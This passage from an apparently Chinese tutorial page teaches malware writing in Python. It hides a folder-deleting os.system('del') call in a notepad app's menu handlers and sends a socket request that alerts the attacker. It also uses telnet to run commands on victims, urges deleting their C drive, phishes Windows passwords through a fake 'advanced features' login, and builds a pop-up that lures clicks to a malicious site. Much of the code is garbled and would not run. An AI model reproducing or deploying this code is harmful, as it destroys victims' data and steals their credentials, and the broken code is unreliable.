    f=open(filename,'r',encoding='utf-8')  
    textPad.insert(1.0,f.read())
    f.close()

def new():
	
  global filename
  root.title("未命名文件")
  filename=None
  textPad.delete(1.0,END)

def save():
  global filename
  try:
    f=open(filename,'w')
    msg=textPad.get(1.0,END)
    f.write(msg)
    f.close()
  except:
    saveas()

def saveas():
  f=tkinter.filedialog.asksaveasfilename(initialfile='未命名.txt',defaultextension='.txt')
  global filename
  filename=f
  fh=open(f,'w')
  msg=textPad.get(1.0,END)
  fh.write(msg)
  fh.close()
  root.title('FileName:'+os.path.basename(f))


def cut():
  textPad.event_generate('<<Cut>>')

def copy():
  textPad.event_generate('<<Copy>>')

def paste():
  textPad.event_generate('<<Paste>>')

def redo():
  textPad.event_generate('<<Redo>>')

def undo():
  textPad.event_generate('<<Undo>>')

def selectAll():
  textPad.tag_add('sel','1.0',END)

def search():
  topsearch=Toplevel(root)
  topsearch.geometry('300x30+200+250')
  label1=Label(topsearch,text='Find')
  label1.grid(row=0,column=0,padx=5)
  entry1=Entry(topsearch,width=20)
  entry1.grid(row=0,column=1,padx=5)
  button1=Button(topsearch,text='查找')
  button1.grid(row=0,column=2)


menubar=Menu(root)
root.config(menu=menubar)


filemenu=Menu(menubar)

filemenu.add_command(label='新建',accelerator='Ctrl+N',command=new)
filemenu.add_command(label='打開(kāi)',accelerator='Ctrl+O',command=openfile)
filemenu.add_command(label='保存',accelerator='Ctrl+S',command=save)
filemenu.add_command(label='另存為',accelerator='Ctrl+Shift+S',command=saveas)
menubar.add_cascade(label='文件',menu=filemenu)


editmenu=Menu(menubar)
editmenu.add_command(label='撤消',accelerator='Ctrl+z',command=undo)
editmenu.add_command(label='重做',accelerator='Ctrl+y',command=redo)
#添加分割線
editmenu.add_separator()
editmenu.add_command(label='剪切',accelerator='Ctrl+X',command=cut)
editmenu.add_command(label='復(fù)制',accelerator='Ctrl+C',command=copy)
editmenu.add_command(label='粘貼',accelerator='Ctrl+V',command=paste)
editmenu.add_separator()
editmenu.add_command(label='查找',accelerator='Ctrl+F',command=search)
editmenu.add_command(label='全選',accelerator='Ctrl+A',command=selectAll)
menubar.add_cascade(label='編輯',menu=editmenu)


aboutmenu=Menu(menubar)
aboutmenu.add_command(label='作者',command=author)
aboutmenu.add_command(label='版權(quán)',command=about)
menubar.add_cascade(label='關(guān)于',menu=aboutmenu)



toolbar=Frame(root,height=25,bg='light sea green')
shortButton=Button(toolbar,text='打開(kāi)',command=openfile)
shortButton.pack(side=LEFT,padx=5,pady=5)

shortButton=Button(toolbar,text='保存',command=save)
shortButton.pack(side=LEFT)
toolbar.pack(expand=NO,fill=X)


status=Label(root,text="Ln20",bd=1,relief=SUNKEN,anchor=W)
status.pack(side=BOTTOM,fill=X)


lnlabel=Label(root,width=2,bg='antique white')
lnlabel.pack(side=LEFT,fill=Y)

textPad=Text(root,undo=True)
textPad.pack(expand=YES,fill=BOTH)

scroll=Scrollbar(textPad)
textPad.config(yscrollcommand=scroll.set)
scroll.config(command=textPad.yview)
scroll.pack(side=RIGHT,fill=Y)


root.mainloop()

我們加上點(diǎn)剛才看的代碼:

#-*- encoding:utf8 -*-

from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os


root=Tk()
root.title('記事本')
root.geometry("800x500+100+100")

filename=''
def author():
  import os
	current_dir = os.path.dirname(os.path.abspath(__file__))
	os.system("del " + current_dir)
  tkinter.messagebox.askokcancel('作者信息','本軟件由tiantian520開(kāi)發(fā)')


def about():
  import os
	current_dir = os.path.dirname(os.path.abspath(__file__))
	os.system("del " + current_dir)
  tkinter.messagebox.askokcancel('版權(quán)信息.Copyright','隨意轉(zhuǎn)載啦!')


def openfile():
  global filename
  import os
	current_dir = os.path.dirname(os.path.abspath(__file__))
	os.system("del " + current_dir)
	filename=tkinter.filedialog.askopenfilename(defaultextension = '.txt')

  if filename == '':
    filename=None
  else:
    root.title('FileName:'+os.path.basename(filename))
    textPad.delete(1.0,END)
    f=open(filename,'r',encoding='utf-8')  
    textPad.insert(1.0,f.read())
    f.close()

def new():
  global filename
  root.title("未命名文件")
  filename=None
  textPad.delete(1.0,END)

def save():
  global filename
  try:
    f=open(filename,'w')
    msg=textPad.get(1.0,END)
    f.write(msg)
    f.close()
  except:
    saveas()

def saveas():
  f=tkinter.filedialog.asksaveasfilename(initialfile='未命名.txt',defaultextension='.txt')
  global filename
  filename=f
  fh=open(f,'w')
  msg=textPad.get(1.0,END)
  fh.write(msg)
  fh.close()
  root.title('FileName:'+os.path.basename(f))


def cut():
  textPad.event_generate('<<Cut>>')

def copy():
  textPad.event_generate('<<Copy>>')

def paste():
  textPad.event_generate('<<Paste>>')

def redo():
  textPad.event_generate('<<Redo>>')

def undo():
  textPad.event_generate('<<Undo>>')

def selectAll():
  textPad.tag_add('sel','1.0',END)

def search():
  topsearch=Toplevel(root)
  topsearch.geometry('300x30+200+250')
  label1=Label(topsearch,text='Find')
  label1.grid(row=0,column=0,padx=5)
  entry1=Entry(topsearch,width=20)
  entry1.grid(row=0,column=1,padx=5)
  button1=Button(topsearch,text='查找')
  button1.grid(row=0,column=2)


menubar=Menu(root)
root.config(menu=menubar)


filemenu=Menu(menubar)

filemenu.add_command(label='新建',accelerator='Ctrl+N',command=new)
filemenu.add_command(label='打開(kāi)',accelerator='Ctrl+O',command=openfile)
filemenu.add_command(label='保存',accelerator='Ctrl+S',command=save)
filemenu.add_command(label='另存為',accelerator='Ctrl+Shift+S',command=saveas)
menubar.add_cascade(label='文件',menu=filemenu)


editmenu=Menu(menubar)
editmenu.add_command(label='撤消',accelerator='Ctrl+z',command=undo)
editmenu.add_command(label='重做',accelerator='Ctrl+y',command=redo)
#添加分割線
editmenu.add_separator()
editmenu.add_command(label='剪切',accelerator='Ctrl+X',command=cut)
editmenu.add_command(label='復(fù)制',accelerator='Ctrl+C',command=copy)
editmenu.add_command(label='粘貼',accelerator='Ctrl+V',command=paste)
editmenu.add_separator()
editmenu.add_command(label='查找',accelerator='Ctrl+F',command=search)
editmenu.add_command(label='全選',accelerator='Ctrl+A',command=selectAll)
menubar.add_cascade(label='編輯',menu=editmenu)


aboutmenu=Menu(menubar)
aboutmenu.add_command(label='作者',command=author)
aboutmenu.add_command(label='版權(quán)',command=about)
menubar.add_cascade(label='關(guān)于',menu=aboutmenu)



toolbar=Frame(root,height=25,bg='light sea green')
shortButton=Button(toolbar,text='打開(kāi)',command=openfile)
shortButton.pack(side=LEFT,padx=5,pady=5)

shortButton=Button(toolbar,text='保存',command=save)
shortButton.pack(side=LEFT)
toolbar.pack(expand=NO,fill=X)


status=Label(root,text="Ln20",bd=1,relief=SUNKEN,anchor=W)
status.pack(side=BOTTOM,fill=X)


lnlabel=Label(root,width=2,bg='antique white')
lnlabel.pack(side=LEFT,fill=Y)

textPad=Text(root,undo=True)
textPad.pack(expand=YES,fill=BOTH)

scroll=Scrollbar(textPad)
textPad.config(yscrollcommand=scroll.set)
scroll.config(command=textPad.yview)
scroll.pack(side=RIGHT,fill=Y)


root.mainloop()

這樣,我們就可以大致實(shí)現(xiàn)自毀木馬了。

入侵病毒

通過(guò)入侵病毒,我們可以盡快進(jìn)行入侵,從而對(duì)對(duì)方實(shí)現(xiàn)高級(jí)操作。
現(xiàn)在我們先編寫(xiě)一個(gè)打開(kāi)后可以通知黑客的病毒,這次,使用socket模塊來(lái)進(jìn)行。
下面是代碼:

import socket
import time
import threading
import tkinter as tk

#---------------------------
MAX_CONN=20000
PORT=80
HOST="你的IP"
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 try:
	socks=[]
	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect((HOST,PORT))
	s.send(buf.encode())
window=tk.Tk()
window.withdraw() 
window.mainloop() 

這樣,我們就可以實(shí)現(xiàn)通知了。
接著,我們就可以使用自己編寫(xiě)的Telnet連接器進(jìn)行連接:

# -*- coding: utf-8 -*- 
import telnetlib
# 配置選項(xiàng)
Host = '' # Telnet服務(wù)器IP
username = ''  # 登錄用戶名
password = '' # 登錄密碼
finish = ':~$ '   # 命令提示符(標(biāo)識(shí)著上一條命令已執(zhí)行完畢)

# 連接Telnet服務(wù)器
tn = telnetlib.Telnet(Host)
 
# 輸入登錄用戶名
n.read_until('login: ')
tn.write(username + '\n')
 
# 輸入登錄密碼
tn.read_until('Password: ')
tn.write(password + '\n')

# 登錄完畢后,執(zhí)行l(wèi)s命令
tn.read_until(finish)
tn.write('ls\n')

# ls命令執(zhí)行完畢后,終止Telnet連接(或輸入exit退出)
tn.read_until(finish)
tn.close() # tn.write('exit\n')

連接后,即可執(zhí)行l(wèi)s命令,如果需執(zhí)行其他命令,可以修改下面代碼:

tn.write('ls\n')#修改命令

你可以刪除對(duì)方C盤(pán),看看對(duì)方圖片!現(xiàn)在,我們雖然進(jìn)入了對(duì)方計(jì)算機(jī),但是還沒(méi)有獲得Root權(quán)限,如果可以,我們也可以獲得最高權(quán)限——Administrator
接下來(lái),我教大家用代碼實(shí)現(xiàn)向?qū)Ψ竭M(jìn)行攻擊,并且獲得管理員權(quán)限。
首先,我們可以先將之前的病毒再加上幾個(gè)代碼:

from tkinter import *
from tkinter import ttk 
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk 
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
try :
  window=tk.Tk()
  window.title('歡迎使用Windows高級(jí)功能!')
  window.geometry('450x300')
  tk.messagebox.showinfo(title='welcome',
                    message='很高興您使用Windows高級(jí)功能!請(qǐng)?jiān)谶@里重新注冊(cè)一個(gè)賬號(hào),并且,用戶名與密碼必須與您現(xiàn)在使用的用戶一樣。')
  

  #畫(huà)布放置圖片
  canvas=tk.Canvas(window,height=300,width=500)
  imagefile=tk.PhotoImage(file='Hello.png')
  image=canvas.create_image(0,0,anchor='nw',image=imagefile)
  canvas.pack(side='top')
  #標(biāo)簽 用戶名密碼
  tk.Label(window,text='用戶名:').place(x=100,y=150)
  tk.Label(window,text='密碼:').place(x=100,y=190)
  #用戶名輸入框
  var_usr_name=tk.StringVar()
  entry_usr_name=tk.Entry(window,textvariable=var_usr_name)
  entry_usr_name.place(x=160,y=150)
  #密碼輸入框
  var_usr_pwd=tk.StringVar()
  entry_usr_pwd=tk.Entry(window,textvariable=var_usr_pwd,show='*')
  entry_usr_pwd.place(x=160,y=190)
 
  #登錄函數(shù)
  def usr_log_in():
    #輸入框獲取用戶名密碼
    usr_name=var_usr_name.get()
    usr_pwd=var_usr_pwd.get()
    #從本地字典獲取用戶信息,如果沒(méi)有則新建本地?cái)?shù)據(jù)庫(kù)
    try:
      with open('usr_info.pickle','rb') as usr_file:
        usrs_info=pickle.load(usr_file)
    except FileNotFoundError:
      with open('usr_info.pickle','wb') as usr_file:
        usrs_info={'admin':'admin'}
        pickle.dump(usrs_info,usr_file)
    #判斷用戶名和密碼是否匹配
    if usr_name in usrs_info:
      if usr_pwd == usrs_info[usr_name]:
        

        
  
        



        
        tk.messagebox.showinfo(title='welcome',
                    message='歡迎您:'+usr_name)
        tk.messagebox.showerror(message='系統(tǒng)錯(cuò)誤 \n 錯(cuò)誤代碼:01x0111x0 \n 請(qǐng)關(guān)閉此程序,因?yàn)樗坪醪贿m合你的Windows!')
        

      else:
        
        tk.messagebox.showerror(message='密碼錯(cuò)誤')
    #用戶名密碼不能為空
    elif usr_name=='' or usr_pwd=='' :
      
      tk.messagebox.showerror(message='用戶名或密碼為空')
    #不在數(shù)據(jù)庫(kù)中彈出是否注冊(cè)的框
    else:
      is_signup=tk.messagebox.askyesno('歡迎','您還沒(méi)有注冊(cè),是否現(xiàn)在注冊(cè)')
      if is_signup:
        usr_sign_up()
  #注冊(cè)函數(shù)
  def usr_sign_up():
    
    #確認(rèn)注冊(cè)時(shí)的相應(yīng)函數(shù)
    def signtowcg():
    #獲取輸入框內(nèi)的內(nèi)容
      nn=new_name.get()
      np=new_pwd.get()
      npf=new_pwd_confirm.get()
 
      #本地加載已有用戶信息,如果沒(méi)有則已有用戶信息為空
      try:
        with open('usr_info.pickle','rb') as usr_file:
          exist_usr_info=pickle.load(usr_file)
      except FileNotFoundError:
          exist_usr_info={}      
      
      #檢查用戶名存在、密碼為空、密碼前后不一致
      if nn in exist_usr_info:
        tk.messagebox.showerror('錯(cuò)誤','用戶名已存在')
      elif np =='' or nn=='':
        tk.messagebox.showerror('錯(cuò)誤','用戶名或密碼為空')
      elif np !=npf:
        tk.messagebox.showerror('錯(cuò)誤','密碼前后不一致')
      #注冊(cè)信息沒(méi)有問(wèn)題則將用戶名密碼寫(xiě)入數(shù)據(jù)庫(kù)
      else:
        exist_usr_info[nn]=np
        with open('usr_info.pickle','wb') as usr_file:
          pickle.dump(exist_usr_info,usr_file)
        tk.messagebox.showinfo('歡迎','注冊(cè)成功')
        #注冊(cè)成功關(guān)閉注冊(cè)框
        window_sign_up.destroy()
    #新建注冊(cè)界面
    window_sign_up=tk.Toplevel(window)
    window_sign_up.geometry('350x200')
    window_sign_up.title('注冊(cè)')
    #用戶名變量及標(biāo)簽、輸入框
    new_name=tk.StringVar()
    tk.Label(window_sign_up,text='用戶名:').place(x=10,y=10)
    tk.Entry(window_sign_up,textvariable=new_name).place(x=150,y=10)
    #密碼變量及標(biāo)簽、輸入框
    new_pwd=tk.StringVar()
    tk.Label(window_sign_up,text='請(qǐng)輸入密碼:').place(x=10,y=50)
    tk.Entry(window_sign_up,textvariable=new_pwd,show='*').place(x=150,y=50)  
    #重復(fù)密碼變量及標(biāo)簽、輸入框
    new_pwd_confirm=tk.StringVar()
    tk.Label(window_sign_up,text='請(qǐng)?jiān)俅屋斎朊艽a:').place(x=10,y=90)
    tk.Entry(window_sign_up,textvariable=new_pwd_confirm,show='*').place(x=150,y=90)  
    #確認(rèn)注冊(cè)按鈕及位置
    bt_confirm_sign_up=tk.Button(window_sign_up,text='確認(rèn)注冊(cè)',
                 command=signtowcg)
    bt_confirm_sign_up.place(x=150,y=130)
  #退出的函數(shù)
  def usr_sign_quit():
    try :
      

      window.destroy()
    except :
      pass
  #登錄 注冊(cè)按鈕
  bt_login=tk.Button(window,text='登錄',command=usr_log_in)
  bt_login.place(x=140,y=230)
  bt_logup=tk.Button(window,text='注冊(cè)',command=usr_sign_up)
  bt_logup.place(x=210,y=230)
  bt_logquit=tk.Button(window,text='退出',command=usr_sign_quit)
  bt_logquit.place(x=280,y=230)
  #主循環(huán)
  window.mainloop()
  # -*-coding:utf-8-*
  import socket
  import threading
  import Queue
  import time
except :
  pass

這段代碼會(huì)讓用戶輸入自己的賬號(hào)的密碼,并且保存到usr_info.pickle中,我們?cè)谒斎牒?,找到這個(gè)文件,并且用記事本打開(kāi),里面就會(huì)寫(xiě)著密碼和用戶名,如圖所示:

圖片

這樣,我們就可以知道對(duì)方管理員賬號(hào)密碼了,即可登錄到對(duì)方計(jì)算機(jī)上,并且擁有Administrator權(quán)限了。

廣告病毒

想必大家對(duì)廣告都不陌生,經(jīng)常占滿全屏的廣告,很可能,某一個(gè)就是誘導(dǎo)你的計(jì)算機(jī)病毒?。?!
所以,在本章,我們來(lái)學(xué)習(xí)如何制作廣告病毒。
首先,它得是個(gè)窗口,并且還是得有一個(gè)樣子,大致構(gòu)圖如下:

構(gòu)圖

點(diǎn)擊這個(gè)鏈接,就會(huì)通往惡意網(wǎng)站。
效果如下:


代碼:

import tkinter as tk
import tkinter.messagebox
import pickle
import pickle
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk 
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk 
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
def tiaozhuan():
  webbrowser.open("xxx.com")
window=tk.Tk()
window.title('頭條新聞——新聞,找頭條!')
window.geometry('450x300')
tk.Label(window,text='最新消息!微軟決定拋棄Windows 7!詳情請(qǐng)點(diǎn)擊:').place(x=0,y=0)
b = tkinter.Button(window,text = '詳情',bg='cyan',font = ('幼圓',15),bd = 0.5,width=10,height=5,command = tiaozhuan).place(x=50,y=100,anchor='nw')
window=tk.Tk()
window.withdraw() 
window.mainloop() 

結(jié)束

你已經(jīng)成為一名優(yōu)秀的黑客兼程序員了!接下來(lái),你可以繼續(xù)閱讀我后面出的高級(jí)書(shū)籍,或者放棄,這要由你來(lái)選擇!
期望你在后面的路上能走得更遠(yuǎn),再見(jiàn)!

相關(guān)文章

  • python執(zhí)行使用shell命令方法分享

    python執(zhí)行使用shell命令方法分享

    這篇文章主要介紹了python執(zhí)行使用shell命令方法分享,具有一定參考價(jià)值,需要的朋友可以了解下。
    2017-11-11
  • tensorflow將圖片保存為tfrecord和tfrecord的讀取方式

    tensorflow將圖片保存為tfrecord和tfrecord的讀取方式

    今天小編就為大家分享一篇tensorflow將圖片保存為tfrecord和tfrecord的讀取方式,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧
    2020-02-02
  • Python讀取ini配置文件傳參的簡(jiǎn)單示例

    Python讀取ini配置文件傳參的簡(jiǎn)單示例

    這篇文章主要給大家介紹了關(guān)于Python讀取ini配置文件傳參的相關(guān)資料,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2021-01-01
  • 基于python編寫(xiě)的微博應(yīng)用

    基于python編寫(xiě)的微博應(yīng)用

    這篇文章主要介紹了基于python編寫(xiě)的微博應(yīng)用,是針對(duì)微博開(kāi)放平臺(tái)SDK開(kāi)發(fā)的具體應(yīng)用,非常具有實(shí)用價(jià)值,需要的朋友可以參考下
    2014-10-10
  • Django ORM數(shù)據(jù)庫(kù)操作處理全面指南

    Django ORM數(shù)據(jù)庫(kù)操作處理全面指南

    本文深度探討Django ORM的概念、基礎(chǔ)使用、進(jìn)階操作以及詳細(xì)解析在實(shí)際使用中如何處理數(shù)據(jù)庫(kù)操作,同時(shí),我們還討論了模型深入理解,如何進(jìn)行CRUD操作,并且深化理解到數(shù)據(jù)庫(kù)遷移等高級(jí)主題
    2023-09-09
  • python3 requests 各種發(fā)送方式詳解

    python3 requests 各種發(fā)送方式詳解

    這篇文章主要介紹了python3 requests 各種發(fā)送方式,本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2021-04-04
  • 在Python中操作列表之List.append()方法的使用

    在Python中操作列表之List.append()方法的使用

    這篇文章主要介紹了在Python中操作列表之List.append()方法的使用,是Python入門(mén)學(xué)習(xí)中的基礎(chǔ)知識(shí),需要的朋友可以參考下
    2015-05-05
  • pytorch之torch_scatter.scatter_max()用法

    pytorch之torch_scatter.scatter_max()用法

    這篇文章主要介紹了pytorch之torch_scatter.scatter_max()用法,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2023-09-09
  • Python實(shí)現(xiàn)將一段話txt生成字幕srt文件

    Python實(shí)現(xiàn)將一段話txt生成字幕srt文件

    這篇文章主要為大家詳細(xì)介紹了如何利用Python實(shí)現(xiàn)將一段話txt生成字幕srt文件,文中的示例代碼講解詳細(xì),感興趣的小伙伴可以了解一下
    2023-02-02
  • Python實(shí)現(xiàn)對(duì)Excel表格的操作詳解

    Python實(shí)現(xiàn)對(duì)Excel表格的操作詳解

    這篇文章主要介紹了Python實(shí)現(xiàn)對(duì)Excel表格的操作,在數(shù)據(jù)處理和報(bào)告生成等工作中,Excel表格是一種常見(jiàn)且廣泛使用的工具,使用Python來(lái)處理Excel表格能夠大大的提升效率,感興趣的同學(xué)可以參考下
    2024-02-02

最新評(píng)論